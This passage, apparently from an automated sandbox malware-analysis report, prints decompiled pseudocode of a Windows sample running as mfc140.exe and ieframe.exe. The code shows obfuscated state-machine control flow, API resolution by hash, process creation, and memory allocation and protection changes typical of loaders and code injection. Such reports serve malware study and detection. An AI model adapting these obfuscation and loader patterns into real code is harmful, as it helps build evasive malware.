								 *0x3ee494 = _t9;
							}
							_t48 =  *_t9();
							_t11 =  *0x3edf30;
							__eflags = _t11;
							if(_t11 == 0) {
								_t11 = E003E3E60(_t21, E003E3F00(0x9bab0b12), 0x5010a54d, _t53);
								 *0x3edf30 = _t11;
							}
							return  *_t11(_t48, 0, _t51);
						} else {
							_t55 = _t2 - 0x185e9846;
							if(_t55 > 0) {
								__eflags = _t2 - 0x18843476;
								if(__eflags != 0) {
									goto L21;
								} else {
									E003E7080(_t21, 0x3ed7a0, 4, __eflags);
									_t2 = 0x2eb73d4f;
									continue;
								}
							} else {
								if(_t55 == 0) {
									E003E7080(_t21, 0x3ed8f0, 2, __eflags);
									_t2 = 0x9da2520;
									continue;
								} else {
									if(_t2 == 0x9da2520) {
										E003E7080(_t21, 0x3ed800, 3, __eflags);
										_t2 = 0x18843476;
										continue;
									} else {
										_t57 = _t2 - 0x15a7f569;
										if(_t2 != 0x15a7f569) {
											goto L21;
										} else {
											E003E7080(_t21, 0x3ed860, 0, _t57);
											_t2 = 0x39797244;
											continue;
										}
									}
								}
							}
						}
						L30:
					}
					__eflags = _t2 - 0x2eb73d4f;
					if(__eflags > 0) {
						__eflags = _t2 - 0x39797244;
						if(__eflags != 0) {
							goto L21;
						} else {
							E003E7080(_t21, 0x3ed890, 1, __eflags);
							_t2 = 0x185e9846;
							goto L1;
						}
					} else {
						if(__eflags == 0) {
							E003E7080(_t21, 0x3ed7e0, 5, __eflags);
							_t2 = 0x22a44863;
							goto L1;
						} else {
							__eflags = _t2 - 0x22a44863;
							if(__eflags == 0) {
								E003E7080(_t21, 0x3ed8c0, 6, __eflags);
								_t2 = 0x1a8031ec;
								goto L1;
							} else {
								__eflags = _t2 - 0x291da748;
								if(__eflags != 0) {
									goto L21;
								} else {
									_t2 = 0x15a7f569;
									goto L1;
								}
							}
						}
					}
					goto L30;
					L21:
					__eflags = _t2 - 0x21acdd7e;
				} while (__eflags != 0);
				return _t2;
				goto L30;
			}

0x003e7120
0x003e7120
0x003e7120
0x003e7125
0x003e7125
0x003e7125
0x003e7125
0x003e712a
0x00000000
0x00000000
0x003e7130
0x003e723f
0x003e7246
0x003e7248
0x003e7260
0x003e7260
0x003e7266
0x003e7268
0x003e726e
0x003e7271
0x003e7276
0x003e7278
0x003e728b
0x003e7290
0x003e7290
0x003e7297
0x003e7299
0x003e729e
0x003e72a0
0x003e72b3
0x003e72b8
0x003e72b8
0x003e72c5
0x003e7136
0x003e7136
0x003e713b
0x003e7190
0x003e7195
0x00000000
0x003e719b
0x003e71a5
0x003e71aa
0x00000000
0x003e71aa
0x003e713d
0x003e713d
0x003e7184
0x003e7189
0x00000000
0x003e713f
0x003e7144
0x003e716e
0x003e7173
0x00000000
0x003e7146
0x003e7146
0x003e714b
0x00000000
0x003e7151
0x003e7158
0x003e715d
0x00000000
0x003e715d
0x003e714b
0x003e7144
0x003e713d
0x003e713b
0x00000000
0x003e7130
0x003e71b4
0x003e71b9
0x003e7207
0x003e720c
0x00000000
0x003e720e
0x003e7218
0x003e721d
0x00000000
0x003e721d
0x003e71bb
0x003e71bb
0x003e71f8
0x003e71fd
0x00000000
0x003e71bd
0x003e71bd
0x003e71c2
0x003e71df
0x003e71e4
0x00000000
0x003e71c4
0x003e71c4
0x003e71c9
0x00000000
0x003e71cb
0x003e71cb
0x00000000
0x003e71cb
0x003e71c9
0x003e71c2
0x003e71bb
0x00000000
0x003e7227
0x003e7227
0x003e7227
0x003e7232
0x00000000

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,003E68AC), ref: 003E7266

Strings

Dry9, xrefs: 003E7207
Dry9, xrefs: 003E715D

Memory Dump Source

Source File: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.2279686443.00000000003E0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279709901.00000000003ED000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279716653.00000000003EF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_mfc140.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: Dry9$Dry9
API String ID: 1029625771-121480178
Opcode ID: bb9e6617cedbfdbe6928d1b35d0d9a8d61db983b00d5ad91a9aa2ef536d8f8b2
Instruction ID: a5572c6cf956113bafca362649161f575d7887ecc046480ed099a9fd2f4bd7b1
Opcode Fuzzy Hash: bb9e6617cedbfdbe6928d1b35d0d9a8d61db983b00d5ad91a9aa2ef536d8f8b2
Instruction Fuzzy Hash: 3E31B42170C2F443EE276BBB68D537E11AA97A0304F214766F151CF7D5ED26CE026792

Uniqueness

Uniqueness Score: -1.00%

Function 003E4B70, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E003E4B70(void* __ebx, WCHAR* __ecx, WCHAR* __edx, void* __ebp, int _a4, intOrPtr _a12) {
				struct _STARTUPINFOW _v72;
				struct _PROCESS_INFORMATION _v88;
				intOrPtr* _t9;
				int _t12;
				intOrPtr* _t15;
				intOrPtr* _t17;
				WCHAR* _t44;
				WCHAR* _t45;

				_t46 = __ebp;
				_t26 = __ebx;
				_t9 =  *0x3eddc0;
				_t45 = __edx;
				_t44 = __ecx;
				if(_t9 == 0) {
					_t9 = E003E3E60(__ebx, E003E3F00(0xc6fbcd74), 0x7e0ae558, __ebp);
					 *0x3eddc0 = _t9;
				}
				 *_t9( &_v72, 0, 0x44);
				_v72.cb = 0x44;
				if( *0x3ee21c == 0) {
					 *0x3ee21c = E003E3E60(_t26, E003E3F00(0x9bab0b12), 0xbd6cc871, _t46);
				}
				_t12 = CreateProcessW(_t44, _t45, 0, 0, _a4, 0, 0, 0,  &_v72,  &_v88); // executed
				if(_t12 == 0) {
					return 0;
				} else {
					if(_a12 == 0) {
						_t15 =  *0x3ede3c;
						if(_t15 == 0) {
							_t15 = E003E3E60(_t26, E003E3F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x3ede3c = _t15;
						}
						 *_t15(_v88.hProcess);
						_t17 =  *0x3ede3c;
						if(_t17 == 0) {
							_t17 = E003E3E60(_t26, E003E3F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x3ede3c = _t17;
						}
						 *_t17(_v88.hProcess);
						return 1;
					} else {
						asm("movdqu xmm0, [esp+0x8]");
						asm("movdqu [eax], xmm0");
						return 1;
					}
				}
			}

0x003e4b70
0x003e4b70
0x003e4b70
0x003e4b79
0x003e4b7c
0x003e4b80
0x003e4b93
0x003e4b98
0x003e4b98
0x003e4ba6
0x003e4bb0
0x003e4bba
0x003e4bd2
0x003e4bd2
0x003e4bf1
0x003e4bf5
0x003e4c7a
0x003e4bf7
0x003e4bfd
0x003e4c14
0x003e4c1b
0x003e4c2e
0x003e4c33
0x003e4c33
0x003e4c3c
0x003e4c3e
0x003e4c45
0x003e4c58
0x003e4c5d
0x003e4c5d
0x003e4c66
0x003e4c72
0x003e4bff
0x003e4bff
0x003e4c05
0x003e4c13
0x003e4c13
0x003e4bfd

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 003E4BF1

Strings

X~, xrefs: 003E4B8C
D, xrefs: 003E4BB0

Memory Dump Source

Source File: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.2279686443.00000000003E0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279709901.00000000003ED000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279716653.00000000003EF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_mfc140.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D$X~
API String ID: 963392458-2090554203
Opcode ID: c9d5998e97066cf648ffc47c7c72f2f9770aae2be44ba8eb43210b7d21c66f83
Instruction ID: ca1ee35ab55143b4282b9bd607de2bd9cfaaff2e96d1eec5feb6406f363d1a85
Opcode Fuzzy Hash: c9d5998e97066cf648ffc47c7c72f2f9770aae2be44ba8eb43210b7d21c66f83
Instruction Fuzzy Hash: B121D6317003A55BD726AB7BCC857BB37AAABD4700F10462CB554CF2D0FA70D9058751

Uniqueness

Uniqueness Score: -1.00%

Function 003E30A0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 165
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E003E30A0() {
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t61;
				intOrPtr* _t62;
				void* _t65;
				intOrPtr _t93;
				intOrPtr* _t95;
				intOrPtr _t107;
				intOrPtr* _t116;
				void* _t127;
				void* _t128;
				intOrPtr _t129;
				signed int _t134;
				void* _t135;
				void* _t136;

				_t93 =  *((intOrPtr*)(_t135 + 0xc));
				_t61 = 0x11f367c2;
				_t134 =  *(_t135 + 0x10);
				_t129 =  *((intOrPtr*)(_t135 + 0x14));
				_t127 =  *(_t135 + 0x18);
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t136 = _t61 - 0x12466c01;
							if(_t136 > 0) {
								break;
							}
							if(_t136 == 0) {
								if(_t93 !=  *(_t135 + 0x18)) {
									L29:
									return 1;
								} else {
									_t61 = 0x2f21cdd2;
									continue;
								}
							} else {
								if(_t61 == 0x7a26146) {
									_t61 =  ==  ? 0x2f21cdd2 : 0x12466c01;
									continue;
								} else {
									if(_t61 == 0x8928514) {
										_t95 =  *0x3ee1cc;
										if(_t95 == 0) {
											_t95 = E003E3E60(_t93, E003E3F00(0x55ab7d30), 0x815a9da3, _t134);
											 *0x3ee1cc = _t95;
										}
										_t129 =  *_t95(_t134 + 0x2c);
										_t61 = 0x39d78901;
										while(1) {
											L1:
											goto L2;
										}
									} else {
										if(_t61 != 0x11f367c2) {
											goto L18;
										} else {
											 *(_t135 + 0x18) = 0x2e7c;
											 *(_t135 + 0x18) = 0x3e0f83e1 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 7;
											 *(_t135 + 0x18) = 0x2f149903 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) + 0xffff1475;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) * 0x15;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 2;
											 *(_t135 + 0x18) = 0x22b63cbf *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) ^ 0x8ee7705c;
											 *(_t135 + 0x10) = 0xa461;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) << 0xe;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) * 8 -  *(_t135 + 0x10) << 2;
											_t61 = 0x8928514;
											 *(_t135 + 0x10) = 0x51eb851f *  *(_t135 + 0x10) >> 0x20 >> 3;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) + 0xffffb6ab;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) ^ 0x88f30986;
											while(1) {
												L1:
												goto L2;
											}
										}
									}
								}
							}
							L30:
						}
						if(_t61 == 0x2f21cdd2) {
							_t62 =  *0x3ee494;
							if(_t62 == 0) {
								_t62 = E003E3E60(_t93, E003E3F00(0x9bab0b12), 0x7facde30, _t134);
								 *0x3ee494 = _t62;
							}
							_t128 =  *_t62();
							if( *0x3edd18 == 0) {
								 *0x3edd18 = E003E3E60(_t93, E003E3F00(0x9bab0b12), 0x9ff0609c, _t134);
							}
							_t65 = RtlAllocateHeap(_t128, 8, 0x24c); // executed
							_t127 = _t65;
							if(_t127 == 0) {
								goto L29;
							} else {
								_t61 = 0x35eaa088;
								goto L1;
							}
						} else {
							if(_t61 == 0x35eaa088) {
								_t116 =  *0x3ee43c;
								if(_t116 == 0) {
									_t116 = E003E3E60(_t93, E003E3F00(0x9bab0b12), 0x2df4d385, _t134);
									 *0x3ee43c = _t116;
								}
								 *_t116(_t127 + 0x3c, _t134 + 0x2c, (_t129 - _t134 - 0x2c >> 1) + 1);
								_t107 =  *((intOrPtr*)(_t135 + 0x1c));
								 *(_t127 + 0x2c) =  *(_t107 + 0x1c);
								 *((intOrPtr*)(_t107 + 0xc)) =  *((intOrPtr*)(_t107 + 0xc)) + 1;
								 *(_t107 + 0x1c) = _t127;
								goto L29;
							} else {
								if(_t61 != 0x39d78901) {
									goto L18;
								} else {
									_t93 = E003E3D00(_t129);
									_t61 = 0x7a26146;
									while(1) {
										L1:
										goto L2;
									}
								}
							}
						}
						goto L30;
						L18:
					} while (_t61 != 0x100ad7b4);
					return 1;
					goto L30;
				}
			}

0x003e30a2
0x003e30a6
0x003e30ac
0x003e30b1
0x003e30b6
0x003e30ba
0x003e30ba
0x003e30c0
0x003e30c0
0x003e30c0
0x003e30c0
0x003e30c5
0x00000000
0x00000000
0x003e30cb
0x003e31f1
0x003e32f9
0x003e3300
0x003e31f7
0x003e31f7
0x00000000
0x003e31f7
0x003e30d1
0x003e30d6
0x003e31e5
0x00000000
0x003e30dc
0x003e30e1
0x003e31a0
0x003e31a8
0x003e31c0
0x003e31c2
0x003e31c2
0x003e31ce
0x003e31d0
0x003e30ba
0x003e30ba
0x00000000
0x003e30ba
0x003e30e7
0x003e30ec
0x00000000
0x003e30f2
0x003e30f2
0x003e310d
0x003e3111
0x003e311f
0x003e3123
0x003e3130
0x003e3139
0x003e3147
0x003e314b
0x003e3153
0x003e315b
0x003e3175
0x003e317f
0x003e3187
0x003e318b
0x003e3193
0x003e30ba
0x003e30ba
0x00000000
0x003e30ba
0x003e30ba
0x003e30ec
0x003e30e1
0x003e30d6
0x00000000
0x003e30cb
0x003e3206
0x003e3245
0x003e324c
0x003e325f
0x003e3264
0x003e3264
0x003e326b
0x003e3274
0x003e328c
0x003e328c
0x003e3299
0x003e329b
0x003e329f
0x00000000
0x003e32a1
0x003e32a1
0x00000000
0x003e32a1
0x003e3208
0x003e320d
0x003e32ab
0x003e32b3
0x003e32cb
0x003e32cd
0x003e32cd
0x003e32e4
0x003e32e6
0x003e32ed
0x003e32f0
0x003e32f3
0x00000000
0x003e3213
0x003e3218
0x00000000
0x003e321a
0x003e3221
0x003e3223
0x003e30ba
0x003e30ba
0x00000000
0x003e30ba
0x003e30ba
0x003e3218
0x003e320d
0x00000000
0x003e322d
0x003e322d
0x003e3242
0x00000000
0x003e3242

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,0000024C), ref: 003E3299

Strings

|., xrefs: 003E30F2

Memory Dump Source

Source File: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.2279686443.00000000003E0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279709901.00000000003ED000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279716653.00000000003EF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_mfc140.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: |.
API String ID: 1279760036-512043466
Opcode ID: 8ab4ef9328b250616d71b18c254f70d120545319738c7ee24307e0a2aa8e2096
Instruction ID: 9241e975706e61e07d63f286ef6c32bda042b43280528217a9b98689843478f0
Opcode Fuzzy Hash: 8ab4ef9328b250616d71b18c254f70d120545319738c7ee24307e0a2aa8e2096
Instruction Fuzzy Hash: BA51D3717083A58BC719DF6EC48852A7BEAEBD4304F204A1EF451CB391DB31DE498B92

Uniqueness

Uniqueness Score: -1.00%

Function 002D0580, Relevance: 3.1, APIs: 2, Instructions: 127
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 002D0F08
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 002D0F3E
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 002D0F7F

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 002D061B
VirtualProtect.KERNEL32(00000000,-00000018,?,00000000,00000000,00000000,-00000018,00000028,?,?,?,00000000,00000000,?,00000000), ref: 002D069C

Memory Dump Source

Source File: 0000000C.00000002.2279660601.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d0000_mfc140.jbxd

Similarity

API ID: MemoryMove$ProtectVirtual
String ID:
API String ID: 4043890290-0
Opcode ID: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction ID: 8aaf8d2fa3937d9e23b0f5cae5288957c577d909dd6339c28dede6955c996dd3
Opcode Fuzzy Hash: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction Fuzzy Hash: 093156B367420657E3249A69DCC5BEBA3C8DBD1355F48483BF905C23A0D52EDC78C2A5

Uniqueness

Uniqueness Score: -1.00%

Function 003E5CE0, Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t5;
				void* _t9;

				E003E65E0();
				if( *0x3eddb8 == 0) {
					 *0x3eddb8 = E003E3E60(_t5, E003E3F00(0x9bab0b12), 0x89f3d704, _t9);
				}
				ExitProcess(0);
			}

0x003e5ce0
0x003e5cec
0x003e5d04
0x003e5d04
0x003e5d0b

APIs

ExitProcess.KERNELBASE(00000000), ref: 003E5D0B

Memory Dump Source

Source File: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.2279686443.00000000003E0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279709901.00000000003ED000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279716653.00000000003EF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_mfc140.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 32ff31d49a0811fcd3ee33b2e84d899393361ccdd81993fe135021ab8443fd55
Instruction ID: a208ded121661b617140d396e20823898fbdb6a8be73af8895fea1550c88e28f
Opcode Fuzzy Hash: 32ff31d49a0811fcd3ee33b2e84d899393361ccdd81993fe135021ab8443fd55
Instruction Fuzzy Hash: 29D0C9217442A446DA56ABB65C8A76B269B4FE0748F104219E011CF2D6EE208920A750

Uniqueness

Uniqueness Score: -1.00%

Function 002D0AD0, Relevance: 2.7, APIs: 2, Instructions: 175
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 002D0F08
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 002D0F3E
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 002D0F7F

VirtualAlloc.KERNEL32(?,?,00000000), ref: 002D0BFF

Memory Dump Source

Source File: 0000000C.00000002.2279660601.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d0000_mfc140.jbxd

Similarity

API ID: MemoryMove$AllocVirtual
String ID:
API String ID: 1654584625-0
Opcode ID: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction ID: 3a871adc4765540a30521ef04c1f8330e79eb17a11b67b9af8aace36232de365
Opcode Fuzzy Hash: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction Fuzzy Hash: 81511770650218ABDB209F54CE85FEAB7B8EF54701F004096FA08B72A0D7B89D85CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 003E7080, Relevance: 1.5, APIs: 1, Instructions: 45
libraryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E003E7080(void* __ebx, void* __ecx, signed int __edx, void* __eflags) {
				struct HINSTANCE__* _t6;
				intOrPtr* _t7;
				intOrPtr* _t9;
				intOrPtr _t17;
				signed int _t28;
				void* _t29;
				WCHAR* _t30;
				void* _t31;

				_t15 = __ebx;
				_t28 = __edx;
				_t30 = E003E34C0(__ecx);
				if( *0x3edd1c == 0) {
					 *0x3edd1c = E003E3E60(__ebx, E003E3F00(0x9bab0b12), 0xe4b28d97, _t31);
				}
				_t6 = LoadLibraryW(_t30);
				_t17 =  *0x3ee548; // 0x607dd8
				 *(_t17 + 0x30 + _t28 * 4) = _t6;
				_t7 =  *0x3ee494;
				if(_t7 == 0) {
					_t7 = E003E3E60(_t15, E003E3F00(0x9bab0b12), 0x7facde30, _t31);
					 *0x3ee494 = _t7;
				}
				_t29 =  *_t7();
				_t9 =  *0x3edf30;
				if(_t9 == 0) {
					_t9 = E003E3E60(_t15, E003E3F00(0x9bab0b12), 0x5010a54d, _t31);
					 *0x3edf30 = _t9;
				}
				return  *_t9(_t29, 0, _t30);
			}

0x003e7080
0x003e7082
0x003e7089
0x003e7092
0x003e70aa
0x003e70aa
0x003e70b0
0x003e70b2
0x003e70b8
0x003e70bc
0x003e70c3
0x003e70d6
0x003e70db
0x003e70db
0x003e70e2
0x003e70e4
0x003e70eb
0x003e70fe
0x003e7103
0x003e7103
0x003e7110

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,003E721D,003E68AC), ref: 003E70B0

Memory Dump Source

Source File: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.2279686443.00000000003E0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279709901.00000000003ED000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279716653.00000000003EF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_mfc140.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4449bb853b64c0ceeea584fa211025182d9cdbbdb91f0061a87d1818c6ab5cab
Instruction ID: 457c94b00617875c7316674a6b8ffb5bf94ed0d44c50ee0a3fa9c49e90bc5543
Opcode Fuzzy Hash: 4449bb853b64c0ceeea584fa211025182d9cdbbdb91f0061a87d1818c6ab5cab
Instruction Fuzzy Hash: B801A2317142B54B9B27AF7B9C8472B2AAF9FD0748B100369A015CF3D5EE31DD028B80

Uniqueness

Uniqueness Score: -1.00%

Function 002D0170, Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 002D0F08
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 002D0F3E
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 002D0F7F

VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,?,?,?,?), ref: 002D02F6

Memory Dump Source

Source File: 0000000C.00000002.2279660601.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d0000_mfc140.jbxd

Similarity

API ID: MemoryMove$FreeVirtual
String ID:
API String ID: 223123264-0
Opcode ID: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction ID: 136393f4b6b9e60466a3a0c8f61a1ab6dcf14c9a510c847266d2a9f3fbeadf84
Opcode Fuzzy Hash: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction Fuzzy Hash: 9D513AB1911268ABDB20DF64DD88BDEB778EF88700F0045DAE509B7260DB745E85CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 002D0010, Relevance: 12.6, Strings: 10, Instructions: 98COMMON

Download Yara Rule

Strings

Eight, xrefs: 002D00B3
Six, xrefs: 002D0099
Seven, xrefs: 002D00A6
Ten, xrefs: 002D00CD
Five, xrefs: 002D008C
One, xrefs: 002D005B
Two, xrefs: 002D0065
Nine, xrefs: 002D00C0
Four, xrefs: 002D007F
Three, xrefs: 002D0072

Memory Dump Source

Source File: 0000000C.00000002.2279660601.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d0000_mfc140.jbxd

Similarity

API ID:
String ID: Eight$Five$Four$Nine$One$Seven$Six$Ten$Three$Two
API String ID: 0-211638553
Opcode ID: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction ID: 87935a3622729bac05418ffb5e134a489f7b542a2dfe9b629a89898ecbe62a48
Opcode Fuzzy Hash: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction Fuzzy Hash: 27311938E511289BCB04DB98CD80AED7BB5EF4C340B50802BD506737A4DB789D86CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 002D06F0, Relevance: 9.2, APIs: 6, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2279660601.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d0000_mfc140.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction ID: 3141528e171d2d5a7f9c54192b29c9775318c35bd293e4b53f5a5dc25bce7cdf
Opcode Fuzzy Hash: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction Fuzzy Hash: 405192B2A283025BD720DE26C881B5BB3D8ABD4794F04452FF948E7351E235DC249BA2

Uniqueness

Uniqueness Score: -1.00%

Function 002D08F0, Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2279660601.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d0000_mfc140.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction ID: 2917d218ac147a0956ab3600468263ea0c57a5f528df01d156992e095249fe59
Opcode Fuzzy Hash: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction Fuzzy Hash: B44138B56343025BC314DE69CC85BABB2D8ABC4B51F08483FF644D6354D2B0DD2887A9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ieframe.exe PID: 1236 Parent PID: 1664 ieframe.exeCOMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1168
Total number of Limit Nodes:	13

Executed Functions

Function 00310400, Relevance: 21.1, APIs: 14, Instructions: 132
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00401010,00000000,?), ref: 00310448

Part of subcall function 00311140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,00310EFD,00000000), ref: 00311155

NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00000018,00401010), ref: 00310463
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 00310484
HeapFree.KERNEL32(00000000,00000001,00000000), ref: 0031048D
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 00310492
RtlAllocateHeap.NTDLL(00000000,00000001,00401010), ref: 0031049F
GetCurrentProcess.KERNEL32(?,00401010,00000000,?), ref: 003104A6
NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00401010,00401010), ref: 003104B9
RtlMoveMemory.NTDLL(00000000,00000000,00000018), ref: 003104E0
RtlMoveMemory.NTDLL(00000000,?,00000014), ref: 003104F7
RtlMoveMemory.NTDLL(?,00000000,00000014), ref: 00310519
RtlMoveMemory.NTDLL(00000000,00000000,00000024), ref: 00310530
RtlMoveMemory.NTDLL(00000000,?,00000048), ref: 00310547
RtlMoveMemory.NTDLL(00000000,00000000,00000048), ref: 00310562

Memory Dump Source

Source File: 0000000D.00000002.2285120425.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_310000_ieframe.jbxd

Similarity

API ID: MemoryMoveProcess$Heap$CurrentInformationQuery$AllocateFreelstrcpyn
String ID:
API String ID: 482429597-0
Opcode ID: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction ID: 421acc8dc471240f9b31c821490566ca00b0e996d0ef31cd7fd636d0b85f10c2
Opcode Fuzzy Hash: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction Fuzzy Hash: 37414FB19143407EE719EB618846FEBB3EDAB8C750F408D2CB7449B141DAB4D9848B62

Uniqueness

Uniqueness Score: -1.00%

Function 003238F0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E003238F0(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				short _v524;
				char _v1044;
